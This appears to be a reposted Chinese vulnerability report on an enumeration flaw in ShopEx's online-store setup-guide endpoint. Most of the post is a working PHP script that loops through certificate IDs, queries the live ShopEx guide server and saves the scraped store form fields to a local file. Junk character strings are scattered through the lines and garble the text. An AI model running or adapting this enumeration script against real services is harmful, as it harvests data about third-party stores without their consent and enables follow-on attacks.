ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
3 R# Q- C8 n) ^$ X& O$ TShopEx某接口缺陷,可遍历所有网站
# |' D4 p  ]  l7 }* V详细说明：
3 s% b! V  R0 E* }! y$ r: l问题出现在shopex 网店使用向导页面
# z3 N) u" n7 E" Y4 B) j; S  \9 ?
" k' s2 N2 k: G

; b# |2 j* f+ A6 X8 t0 Y6 Ihttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
- r# Z9 l" Q& l2 F, s; R! S


; q5 _) ~8 H9 t( ^! {( nrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


( ~0 N# s' q$ y5 G
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
( h6 t/ i6 q# d& D: S: y' I

6 G; J- u  x/ y5 K# _7 _) |  a
) D3 D3 S# M8 a2 {) d# I0 v<?php
/ Q/ }  S4 U1 A9 v
  D6 A# y6 T+ {  s" J% E/ K                for ($i=1; $i < 10000; $i++) { //遍历
& Y! ?* x7 B3 s' J$ a
                        ShowshopExD($i);
7 B9 @, o9 a  o- D
                }

                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

* n6 P1 C" K+ a3 V                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
  i; U5 Y- z& ]& d( a0 d8 ?! C9 Z
        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

- |" Y! f3 H* i- G/ q; n4 J        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
1 H1 f( _2 R, K) p; r
3 f' ~* C" A$ r' x        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
  j" M: M# e  D  _$ H2 w# s, f9 }2 j
8 C/ E1 q# P& X5 `        $result = curl_exec($ch);
6 c) u8 P" [( V
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
* A! [1 N+ E7 B/ Q. a4 r  d
        if(strpos($result,$refer))
, b' W: s% u4 t3 g% m6 c0 ]( |
, x$ t0 d+ k/ Q: X        {

0 R) Z" e# o7 X2 k                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
+ z  e& K) \5 z4 t- M& E
7 t- y( U& ?* W1 R! P& o                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
" g# E& o. k( D
9 t4 R, v" Y* k3 L& f, j                foreach ($value[1] as $key) {
# v1 s+ m8 _" O2 Z
% [+ ]2 q6 d4 n% _                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
; {# q) D# U+ G& k
                        echo $res[1][0].':'.$res[3][0]."\r\n";

3 S. H: y$ A% o  e+ |9 u# g+ ?                        $col =$res[1][0].':'.$res[3][0]."\r\n";
' i5 i7 x6 i  f  c2 _
                        fwrite($fp, $col, strlen($col));

5 }( D* @2 s8 s( m, }$ a; E  f                }
9 ]3 {& X3 l0 {( z& w. ^8 l9 [
9 x0 }6 [3 S$ l6 z, l                echo '--------------------------------'."\r\n";
0 g4 S3 Q2 Q2 F$ J! |( l
; A% _. Y# U% i) s7 M                fclose($fp);
: p1 k' f$ H3 g& l/ x+ l9 N8 Z
5 T) l5 d! b* D. x* v        }

* u/ L# @+ l$ o6 O1 g( q+ _% `        flush();

, M2 g5 J6 n6 c        curl_close($ch);

                }
2 M5 C1 h. g3 F5 R! g7 ]
! J0 R; f1 z# s+ @& ~6 U" e0 h( V+ [$ P?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
# x6 [8 q) @6 G% T2 U8 Yrefer换成其他加密方式
+ \) r2 X( [/ l. ~" y